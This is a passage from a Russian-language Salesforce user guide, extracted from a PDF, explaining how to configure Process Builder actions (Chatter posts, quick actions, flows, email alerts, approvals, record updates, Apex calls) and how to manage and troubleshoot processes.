Чтобы задать значение для поля, воспользуйтесь полем ввода текста для ввода значения вручную или
областью выбора поля для использования значения поля из связанной записи. Дополнительную
информацию см. в разделе «Настройка значений в конструкторе процессов» на странице 4745.

Значение

4. Нажмите кнопку «Сохранить».

Совет:

• При настройке процесса для создания записи организации поле «Имя» отображается как обязательное.
При создании организации-лица добавьте поле «Фамилия», которое по умолчанию не отображается как
обязательное. При необходимости введите временное значение для поля «Имя».
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• При создании записи обязательные поля, как правило, отображаются вверху списка. Тем не менее, при
сохранении действия «Создать запись», закрытии процесса и повторном открытии действия порядок
отображения обязательных полей может быть другим.

Создание сообщения Chatter из процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Сообщениеможет быть опубликовано в лентупользователя, группыChatterили записи,
начавшей процесс.

Данное действие доступно только организациям, использующим Chatter.

Публикация сообщения в ленту Chatter пользователя из процесса
Сообщение может быть опубликовано в ленту пользователя путем выбора
конкретного пользователя организации или заполнения поля поиска пользователя
в нужной записи.

Публикация сообщения в группу Chatter из процесса
Сообщение может быть опубликовано в ленту конкретной группы Chatter.

Публикация сообщения в ленту Chatter записи из процесса
Сообщение может быть опубликовано в ленту записи, начавшей процесс.
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Публикация сообщенияв ленту Chatterпользователяизпроцесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Сообщениеможет быть опубликовано в ленту пользователяпутем выбора конкретного
пользователя организацииили заполненияполяпоиска пользователя в нужной записи.

Чтобы добавить действие в процесс, заполните соответствующие поля после создания
действия и выбора типа «Опубликовать в Chatter». Элемент ленты будет отображаться
как сообщение, созданное пользователем, начавшим процесс (путем создания или
редактирования записи).

Внимание: Недоступностьнужнойлентыприинициированиипроцесса (например,
ввиду неактивности пользователя) может стать причиной отображения ошибки и
неудачного завершения процесса.

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Выберите значение «Пользователь» в поле «Опубликовать в».

3. Выберите область поиска пользователя для параметра «Пользователь».

4. В зависимости от значения, выбранного для параметра «Пользователь», найдите
или выберите нужного пользователя.

При выборе пользователя из записи рекомендуем выбрать поле, содержащее код
пользователя (например, «Код ответственного» или «Код пользователя»).

5. Введите нужное сообщение. Вы можете вставлять поля для слияния, добавлять тему
и упоминать пользователей или группы.

Сообщение может содержать не более 10 000 символов.

Разрешается использовать только существующие темы. Используемое поле слияния, которое не содержит значение,
отображается как пустое значение.

6. Нажмите кнопку «Сохранить».
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Публикация сообщенияв группу Chatterизпроцесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Сообщение может быть опубликовано в ленту конкретной группы Chatter.

Чтобы добавить действие в процесс, заполните соответствующие поля после создания
действия и выбора типа «Опубликовать в Chatter». Элемент ленты будет отображаться
как сообщение, созданное пользователем, начавшим процесс (путем создания или
редактирования записи).

Внимание: Недоступность нужной ленты при инициировании процесса может
стать причиной отображения ошибки и неудачного завершения процесса.

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Выберите значение «Группа Chatter» в поле «Опубликовать в».

3. Найдите нужную группу Chatter для параметра «Группа».

4. Введите нужное сообщение. You can insert merge fields, add a topic, and mention users or
groups.

The message can contain up to 10,000 characters.

Разрешаетсяиспользовать толькосуществующиетемы. Используемоеполеслияния,
которое не содержит значение, отображается как пустое значение.

5. Нажмите кнопку «Сохранить».

Публикация сообщенияв ленту Chatter записиизпроцесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Сообщение может быть опубликовано в ленту записи, начавшей процесс.

Сообщение может быть опубликовано в ленту Chatter записи только при включении
функции отслеживания ленты для объекта, связанного с процессом. Элемент ленты
будетотображаться как сообщение, созданноепользователем, начавшимпроцесс (путем
создания или редактирования записи).

Чтобы добавить действие в процесс, заполните соответствующие поля после создания
действия и выбора типа «Опубликовать в Chatter».

Внимание: Недоступностьнужнойлентыприинициированиипроцесса (например,
ввиду неактивности пользователя) может стать причиной отображения ошибки и
неудачного завершения процесса.

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Выберите значение «Данная запись» в поле «Опубликовать в».

3. Введите нужное сообщение. You can insert merge fields, add a topic, and mention users or
groups.

The message can contain up to 10,000 characters.

Разрешаетсяиспользовать толькосуществующиетемы. Используемоеполеслияния,
которое не содержит значение, отображается как пустое значение.
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4. Нажмите кнопку «Сохранить».

Использование быстрого действия из процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Быстроедействие, созданное текущимпользователемилидругимадминистраторомдля
организации, позволяет создавать записи, обновлять записиилирегистрироватьвызовы.

Быстрые действия могут быть объектными или глобальными. Only “Create,” “Update,” and
“Log a Call” actions are supported. Прежде чемиспользовать быстрое действиеиз процесса,
убедитесь, что оно поддерживается организацией.

Быстрые действия, используемые организацией для более удобного создания и
обновлениязаписей, могут такжеиспользоватьсявпроцессе. Прииспользованииданных
быстрых действий в процессе система позволяет задавать значения только для полей,
являющихсячастьюмакетадействия. Дополнительнуюинформациюосозданииданных
действий см. в разделах «Создание глобальных быстрых действий» на странице 5335 и
«Создание объектных быстрых действий» на странице 5337.

Чтобы добавить действие в процесс, заполните соответствующие поля после создания
действия и выбора типа «Быстрые действия». Новая или обновленная запись будет
отображаться как запись, созданнаяилиобновленнаяпользователем, начавшимпроцесс
(путем создания или редактирования записи).

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Чтобы выбрать нужный тип действия, воспользуйтесь фильтрацией.

Доступная область поискаКритерий
фильтрации
поиска

Все глобальные действия организации. Чтобы выполнить
дополнительнуюфильтрацию, выберите нужный тип действий.

Глобальные
действия

Все объектные действия организации, связанные с конкретным
значением поля «Имя объекта». Глобальные действия не могут
фильтроваться по объекту.

Объект

Все объектные и глобальные действия организации на основе типа
(например, «Создать запись»).

Тип

• Привыборекритерияфильтрации «Глобальныедействия» или «Тип» выберитеконкретныйтипбыстрогодействия
в поле «Тип».

• При выборе критерия фильтрации «Объект» найдите и выберите нужный объект в поле «Объект».

3. Найдите и выберите нужное действие в поле «Действие».

4. Задайте значения полей для действия.

Строки, отображающиеся автоматически, соответствуют обязательным полям действия. Чтобы задать значения для
дополнительных полей действия, добавьте строки.
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Выберите нужное поле. Чтобы отфильтровать раскрывающийся список, введите имя нужного
поля.

Поле

Значения могут быть заданы только для полей, добавленных в макет действия.

Выберите нужный тип значения. Доступные типы определяются выбранным полем.Тип

Чтобы задать значение для поля, воспользуйтесь полем ввода текста для ввода значения вручную
илиобластьювыбораполядляиспользованиязначенияполяизсвязаннойзаписи. Дополнительную
информацию см. в разделе «Настройка значений в конструкторе процессов» на странице 4745.

Значение

5. Нажмите кнопку «Сохранить».

Запуск потока из процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Запуск автоматически запущенного потока из процесса позволяет автоматизировать
сложные бизнес-процессы — создавать потоки для выполнения логики и разрешать
событиям запуск потоков посредством процессов — без создания специального кода.

Прежде чем запустить поток из процесса, рекомендуем создать и активировать нужный
поток. Потокдолженбыть автоматическизапущенным. Дополнительнуюинформацию
см. в разделе «Создание потока» на странице 4920.

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Заполните поле «Поток».

Пользователям доступны только активные автоматически запущенные потоки.

3. Чтобы задать значения для переменных потока, щелкните «Добавить строку».

Начните вводить имя нужной переменной потока или щелкните

значок для выбора нужной переменной потока из
раскрывающегося списка.

При необходимости задайте значения для любой переменной
потока, поле «Тип ввода/вывода» которой содержит значение
«Только ввод» или «Ввод и вывод».

Переменная
потока

Выберитенужныйтипзначения. Например, выберитетип«Строка»
для ввода значений для переменной коллекции «Текст» вручную

Тип

или тип «Ссылка» для использования значения записи для
переменной sObject.

Введите значение для переменной потока.Значение

• Приналичиипеременныхколлекциирекомендуемиспользовать
поле ввода текста для ввода значения. Значение должно
соответствовать типу данных переменной коллекции.
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• При наличии переменных sObject рекомендуем использовать область выбора поля для
выбора поля кода. Код должен соответствовать записи, тип объекта которой соответствует
типу объекта переменной sObject.

• При наличии переменных коллекции sObject рекомендуем использовать область выбора
полядлявыборасвязанногосписка. Типобъектавыбранныхзаписейдолженсоответствовать
типуобъектапеременнойколлекции sObject. Например, заполнитепеременнуюколлекции
sObject всеми дочерними записями контактов, связанными с организацией, начавшей
процесс.

Прим.: Связанный список, являющийся пустым при заполнении переменной
коллекции sObject значениями полей из данных записей, инициирует неудачное
выполнение процесса.

4. Нажмите кнопку «Сохранить».

Отправка сообщения эл. почты из процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания процессов:
• «Просмотр всех данных»

Сообщение эл. почты может быть отправлено из процесса посредством электронного
предупреждения. Электронные предупреждения настраиваются вне конструктора
процессов и содержат стандартный текст, список получателей ишаблон сообщения эл.
почты.

Прежде чем отправить сообщение эл. почты из процесса, рекомендуем создать
электронное предупреждение на странице 4791.

Разрешаетсяиспользоватьтолькоэлектронныепредупреждения, связанныесобъектом,
который также связан с процессом. Запись, начавшая процесс, используется как основа
для любого поля слияния, используемого электронным предупреждением.

Чтобы добавить действие в процесс, заполните соответствующие поля после создания
действия и выбора типа «Электронные предупреждения».

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Чтобы найти нужное электронное предупреждение, введите не менее двух букв в
поле «Электронное предупреждение».

3. Нажмите кнопку «Сохранить».
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Отправка записи на утверждение из процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Отправьте запись, начавшую процесс, на утверждение.

Чтобы добавить действие в процесс, заполните соответствующие поля после создания
действия и выбора типа «Отправить на утверждение».

Отправке подлежит только запись, начавшая процесс. Связанные записи не могут быть
отправлены на утверждение.

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Определите необходимость отправки записи посредством стандартного или
конкретного процесса утверждения в поле «Процесс утверждения».

Ниже перечислены причины неудачного завершения процесса.

• Запись отправляется посредством стандартного процесса утверждения, но
активные процессы утверждения отсутствуют для типа объекта записи.

• Запись отправляется посредством стандартного процесса утверждения, но не
соответствует критериямлюбогопроцесса утверждениядля типаобъекта записи.

• Запись отправляется посредством конкретного процесса утверждения, но не
соответствует критериям входа.

3. Чтобыотправитьзаписьпосредствомконкретногопроцессаутверждения, выполните
указанные ниже действия.

a. Найдите и выберите нужный процесс утверждения.

b. Определите необходимость пропуска критериев входа для процесса утверждения.

4. Укажите получателя уведомлений в поле «Отправитель».

ОписаниеЗначение

Пользователь, инициировавший процесс путем создания или редактирования записи.Текущийпользователь

Кодпользователя, хранящийся в значенииполя для записи, отправляемойна утверждение,
или другой записи.

Поле пользователя из
записи

Конкретный пользователь организации.Другой пользователь

Если отправителем является недопустимый исходный отправитель для выполняемого процесса утверждения, то
процесс завершается неудачно. Убедитесь, что все пользователи, которые могли инициировать данный процесс,
являются исходными отправителями для процессов утверждения, связанных с данным объектом. Дополнительные
сведения о настройке исходных отправителей для процесса утверждения см. в разделе «Создание процессов
утверждения» на странице 4841.

5. При необходимости введите комментарии к отправке.

Комментарии к отправке отображаются в журнале утверждений для указанной записи. Кроме того, данный текст
отображается в исходном электронном запросе на утверждение, если шаблон использует поле слияния
{!ApprovalRequest.Comments}.
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6. Нажмите кнопку «Сохранить».

Обновление записей из процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Чтобы обновить как минимум одну запись, связанную с записью, начавшей процесс,
введите значения вручную или воспользуйтесь значениями из связанных записей.

Чтобы добавить действие в процесс, заполните соответствующие поля после создания
действия и выбора типа «Обновить записи». Полю «Последнее изменение сделано»
записей задаетсяпользователь, начавшийпроцесс (путем созданияилиредактирования
записи).

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Выберитекакминимумоднунужнуюзаписьдляпараметра «Тип записи» инажмите
кнопку «Выбрать».

Пользователи могут обновлять только запись, начавшую процесс, или только
связанные записи. Например, пользователь может ссылаться на поле
[Case].ContactId, но не на поле [Case].Contact.AccountId.

• Чтобы выполнить обновление записи, начавшей процесс, щелкните
соответствующий переключатель. Например, если процесс основывается на
записи обращения, щелкните переключатель «Выбрать запись обращения,
начавшуюпроцесс».

• Чтобы обновить запись, связанную с записью, начавшей процесс, щелкните соответствующий переключатель и
выберите имя нужного поля из раскрывающегося списка.

При выборе поля, имя которого содержит слово «Код», обновляется только одна запись. Данное имя поля
соответствуетполюпоискаисходнойзаписи. Дополнительнуюинформациюополяхпоиска см. вразделе «Типы
настраиваемых полей» на странице 4500.

Например, если запись, начавшая процесс, принадлежит объекту «Обращение», а пользователь выбирает поле
«Код организации», то данное действие обновляет организацию, связанную с обращением.
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При выборе поля во множественном числе, имя которого не содержит слово «Код», обновляются все записи
данного типа объекта, связанные с записью, начавшей процесс. Данное поле соответствует дочерним записям
исходной записи, которые могут отображаться в связанном списке исходной записи.

Например, привыбореполя «Комментариикобращению» данноедействиеобновляетвсе комментарии, связанные
с обращением.

• Чтобы обновить поля связанной записи, щелкните поле со значком  (имя которого содержит слово «Код») для
доступа к полям данной записи.

Например, чтобы обновить все контакты, связанные с родительской организацией обращения, для процесса,
оценивающегозаписьобращения (1), выберитеполе«Кодорганизации» (2), затемвыберитеполе«Контакты»
(3), затем нажмите кнопку «Выбрать».
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3. При необходимости укажите условия для фильтрации обновляемых записей.

Например, еслипроцессобновляет статусродительскогообращения, укажите условия, препятствующиеобновлению
родительского обращения при назначении статуса On Hold.

Прим.: При определении условий для обновления записей пользователи не могут добавлять логику фильтра
(например, ИЛИ) или ссылаться на связанные поля дочерней записи. Например, пользователь может ссылаться
на поле [Case].ContactId, но не на поле [Case].Contact.AccountId.

a. Установите флажок «Обновленные записи соответствуют всем условиям».

b. Задайте условия, которые должны использоваться для фильтрации обновленных записей.

Выберите нужное поле.Поле

Доступные операторы определяются типом данных поля.Оператор

Доступные типы значений определяются типом данных поля. Дополнительнуюинформациюсм.
в разделе «Типы значений конструктора процессов» на странице 4746.

Тип

Определите нужное значение.Значение

Например, если процесс обновляет записи организаций, задайте условие, позволяющее обновлять только
организации с годовым доходом (1) более (2) 1 000 000 долларов США (3).

4. Укажите новые значения поля.

Выберите нужное поле. Чтобы отфильтровать раскрывающийся список, введите имя нужного поля.Поле
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Разрешается назначать значения только полям записей, указанных в поле «Объект». Чтобы обновить
поля связанных записей, воспользуйтесь отдельным действием «Обновить записи».

Выберите нужный тип значения. Доступные типы определяются выбранным полем.Тип

Введите нужное значение. Например, при выборе типа значения «Формула» щелкните «Разработать
формулу...» для создания значения формулы для поля.

Значение

5. Нажмите кнопку «Сохранить».

Вызов кода Apex из процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования или
просмотра процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Вызов Apex из процесса позволяет добавлять настраиваемые функции в процесс.

Чтобы добавить действие в процесс, заполните соответствующие поля после создания
действия и выбора типа «Apex».

Важное замечание: Прежде чем использовать данное действие в процессе,
разработчик должен добавить примечание @InvocableMethod для одного из
методов класса. Дополнительную информацию см. в разделе «Примечание
InvocableMethod» Руководства разработчика Force.com Apex Code.

Класс Apex и процесс выполняются пользователем, действие которого инициировало
процесс.

1. Введите имя данного действия.

Данный текст отображается на холсте, позволяя пользователям различать действия
в процессе. При отображении на холсте имя может усекаться.

2. Чтобы выбрать класс Apex, введите имя нужного класса Apex для фильтрации
результатов или выберите нужный класс Apex из раскрывающегося списка.

3. При наличии вызываемой переменной класса введите значения вручную или
воспользуйтесь значениями полей из связанной записи.

Значение должно соответствовать типу данных переменной. При необходимости
задайте значения только для переменных sObject и переменных списка простых
типов.

• Чтобы задать значения для переменных sObject и списка sObject, добавьте ссылку
насвязанныезаписиобъекта (например, вседочерниезаписиконтактов, связанные
с объектом «Организация», начавшим процесс).

• Чтобызадать значениедляпеременнойспискапростыхтипов, выберите типзначения «Строка» ивведите значение
в поле ввода текста. Пакетная передача значений спискам не поддерживается.

4. Нажмите кнопку «Сохранить».

Прим.: ЕсливпроцессебылоопределенодействиеApex, а затемклассApexбылизмененпосредствомдобавления
ссылки на стандартное поле (например, User.Phone), действие Apex перестанет отображаться в процессе и
потребует переустановки.
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Управление процессами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управленияпроцессами:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Конструктор процессов предоставляет централизованный доступ для просмотра и
управления всеми процессами.

Для управления процессами введите строку «Конструктор процессов» в поле «Быстрый
поиск» в меню «Настройка», затем выберите «Конструктор процессов».

Ниже перечислены действия, доступные на странице управления процессами.

• Создание процесса

• Редактирование процесса

• Удаление неактивного процесса

• Просмотр статусов текущих процессов

• Сортировка процессов по имени, описанию, объекту, дате последнего изменения
или статусу

Прим.: При создании объекта типа статей баз знаний Salesforce Knowledge Article
Type и использовании такого объекта для запуска процесса имя объекта не будет
отображаться на странице управления процессом.

Ниже перечислены действия, доступные при открытии процесса.

• Клонирование процесса

• Активация или деактивация процесса

• Редактирование свойств процесса

Ниже перечислены действия, доступные в списке «Приостановленные и ожидающие сеансы» на странице управления
потоками.

• Отслеживание отложенных запланированных действий

• Удаление ненужных групп запланированных действий

Статус процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Каждому процессу назначается статус, определяющий доступность процесса для
редактирования, активации или удаления.

Возможность
редактирования?

ОписаниеСтатус

НетПроцесс активирован.

Активный процесс не может быть изменен, но может быть
клонирован. Принеобходимостиизменитеклонированный
процессивыполнитеегоактивацию. Помните, чтоисходный
процесс должен быть деактивирован.

Активно

ДаПроцесс неактивен, поэтому может быть активирован.Неактивно
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Клонирование процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации или
деактивации процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Чтобыизменитьтекущийпроцесс, воспользуйтеськлонированием. Принеобходимости
сохранитекопиювкачественовогонеактивногопроцесса, использующегособственный
журнал версии, или новой неактивной версии текущего процесса.

Ниже перечислены доступные способы изменения активного процесса.

• Деактивация процесса, внесение изменений и последующая повторная активация
процесса.

• Клонирование процесса в качестве неактивной версии, внесение изменений и
последующая активация новой версии. Исходная версия подлежит автоматической
деактивации.

• Клонированиепроцессавкачественовогонеактивногопроцесса, внесениеизменений
ипоследующаяактивацияпроцесса. Исходныйпроцесснеподлежитавтоматической
деактивации. Рекомендуем определить, могут ли быть активными оба процесса.

Разрешается создаватьнеболее50 версийпроцесса, ноактивировать толькооднуверсию
данного процесса.

1. Введитестроку «Конструктор процессов» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Конструктор процессов».

2. Откройте нужный процесс или версию процесса.

3. Нажмите кнопку «Клонировать».

4. При необходимости создайте версию текущего процесса или абсолютно новый
процесс, использующий собственный журнал версии.

5. Введите имя, API-имя и описание.

6. Нажмите кнопку «Сохранить».
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Активация процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации или
деактивации процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Система Salesforce начинает использовать процесс для оценки создаваемых или
редактируемых записей только после его активации.

Активированный процесс недоступен для редактирования. Чтобы сохранить процесс
в качестве нового неактивного процесса, нажмите кнопку «Клонировать».

Процесс может быть активирован только при наличии перечисленных ниже
компонентов.

• Как минимум один заданный критерий

• Как минимум одно заданное немедленное или запланированное действие

1. Введитестроку «Конструктор процессов» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Конструктор процессов».

2. Откройте нужный процесс или версию процесса.

3. Нажмите кнопку «Активировать».

Активация версии процесса, имеющего активную версию, инициирует
автоматическую деактивацию ранее активной версии. Чтобы просмотреть данную
версию, воспользуйтесь журналом версии процесса.

После активации процесса рекомендуем создать или отредактировать тестовые записи,
позволяющие проверить правильность начатого процесса. По завершении проверки
рекомендуем удалить данные тестовые записиилиназначитьимпредыдущие значения.

Чтобы запретить системе Salesforce использовать процесс для оценки создаваемых или
редактируемых записей, откройте активный процесс и нажмите кнопку
«Деактивировать».

Удаление версии процесса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления процессов:
• «Управление Force.com

Flow»

И

«Просмотр всех данных»

Ненужная версия процесса может быть удалена.

Прежде чем удалить активный процесс, рекомендуем деактивировать нужный процесс.
Версии процесса со статусом «Активно» не могут быть удалены. Процесс, содержащий
любые запланированные действия, может быть удален только после выполнения или
удаления данных отложенных действий.

1. Введитестроку «Конструктор процессов» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Конструктор процессов».

2. Щелкните имя нужного процесса.

3. Нажмите кнопку «Удалить».

Удаление единственной версии процесса инициирует удаление всего процесса.

4. Нажмите кнопку «OK».
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Отслеживание отложенных запланированных действий процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
невыполненных
запланированных действий:
• «Просмотр настройки и

конфигурации»

Чтобы просмотреть процессы, ожидающие выполнения запланированных действий,
воспользуйтесь списком «Приостановленные и ожидающие сеансы» на странице
управления потоками.

1. Введите строку «Потоки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Потоки».

2. Найдите список «Приостановленные и ожидающие сеансы».

3. Создайте представление для просмотра запланированных действий в списке
«Приостановленные и ожидающие сеансы». Рекомендуем использовать поля ниже.

• Столбец «Имя потока» (1) соответствует полю процесса «Имя процесса».

• Столбец «Дата приостановки» (2) содержит время начала расписания для группы
действий.

• Столбец «Текущий элемент» (3) определяет группу запланированных действий,
выполнение которых ожидается системой Salesforce.

• Столбец «Тип» (4)определяет типприостановленногоилиожидающегосеанса. Процессам, ожидающимвыполнения
запланированных действий, назначается тип «Бизнес-правило».

Столбец «Текущийэлемент» отображает значение myWait_myRule_N, гдепеременная N заменяетсяномеромсвязанного
критерия и группы действий. Например, если столбец «Текущий элемент» отображает значение myWait_myRule_2,
то система Salesforce ожидает выполнения группызапланированныхдействий, связанныхсовторымкритериемпроцесса.
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Удаление невыполненных запланированных действий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления
невыполненных
запланированных действий:
• «Управление Force.com

Flow»

Чтобы отменить выполнение запланированных действий процесса (например, для
удаления связанного процесса), удалите невыполненную группу запланированных
действий.

1. Введите строку «Потоки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Потоки».

Связанный список «Ожидающие сеансы» отображает все невыполненные
запланированные действия организации, а также ожидающие сеансы потока.

2. Щелкните ссылку «Удал.» напротив каждой нужной невыполненной группы
запланированных действий.

При необходимости определите нужную строку по полю «Имя потока», которое
соответствует полю процесса «Имя процесса».

Устранение неисправностей для процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем использовать сообщения об ошибках, отображаемые конструктором
процессов, исообщенияэл. почты, отправляемыепринеудачномвыполнениипроцесса,
длярешенияпроблем, возникающихприиспользованиипроцессов. Привозникновении
любых ошибок рекомендуем просматривать журналы отладок Apex для процессов.

Определение ошибок в конструкторе процессов
API-имена критериев и действий создаются в фоновом режиме. При создании или
обновлениипроцессовданныеименамогутиспользоватьсясообщениямиобошибках
для точного определения источника проблемы.

Ошибки, отображаемые после начала оценки записи процессом
Еслипользовательвыполняетдействие, инициирующеепроцесс (например, создание
записи), которыйвыполняетсянеудачно, топользователюотображается следующая
ошибка: «Не удалось инициировать поток посредством действия бизнес-правила». Кроме того, администратору,
создавшему процесс, отправляется сообщение эл. почты, содержащее дополнительные сведения.

Использование журналов отладки для устранения неполадок в процессах
Рекомендуем использовать журналы отладки для поиска подробных сведений о выполняемых процессах после их
выполнения. Например, для определения причины неудачного инициирования процесса при выполнении его
критериев или просмотра порядка выполнения процессов.
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Определение ошибок в конструкторе процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

API-имена критериев и действий создаются в фоновом режиме. При создании или
обновлении процессов данные имена могут использоваться сообщениями об ошибках
для точного определения источника проблемы.

ОписаниеAPI-имя

Переменная поле заменяетсяименемсоответствующего
поля. myVariable_current ссылаетсяна значения
поля, использовавшиеся записью на момент начала
процесса.

Например, myVariable_current.Id соответствует
значению для поля Id, которое использовалось
записью на момент начала процесса.

myVariable_current.поле

Переменная поле заменяетсяименемсоответствующего
поля. myVariable_old ссылается на последние
предыдущие значения записи, начавшей процесс.

Например, myVariable_old.Id соответствует
значению для поля Id, которое использовалось
записью прямо перед началом процесса.

myVariable_old.поле

Пример:

The element has an invalid reference to “myVariable_current.AnnualRevenue”.

Так, myVariable_current.AnnualRevenue ссылается на значение для поля AnnualRevenue, которое
использовалось записью на момент начала процесса.

Прим.: Сообщенияобошибкахипредупреждениямогут содержать термин «поток» вместотермина «процесс».
Тем не менее, данные сообщения применяются к процессу пользователя.

Ошибки, отображаемые после начала оценки записи процессом

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Если пользователь выполняет действие, инициирующее процесс (например, создание
записи), который выполняется неудачно, то пользователю отображается следующая
ошибка: «Неудалосьинициироватьпотокпосредствомдействиябизнес-правила». Кроме
того, администратору, создавшему процесс, отправляется сообщение эл. почты,
содержащее дополнительные сведения.

Сообщение эл. почты содержит проблемный элемент, соответствующее сообщение об
ошибке, а также список критериев и действий, выполненных процессом. Строка темы
выглядитследующимобразом: Необработанная ошибка процесса из Название компании
: Имя_процесса --- Ошибка.

Пример:

Unhandled process fault from Acme Wireless : LeadConvert :
cannot reference converted...
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// The error occurred when user 00DD00000007dHy triggered the LeadConvertEmail process
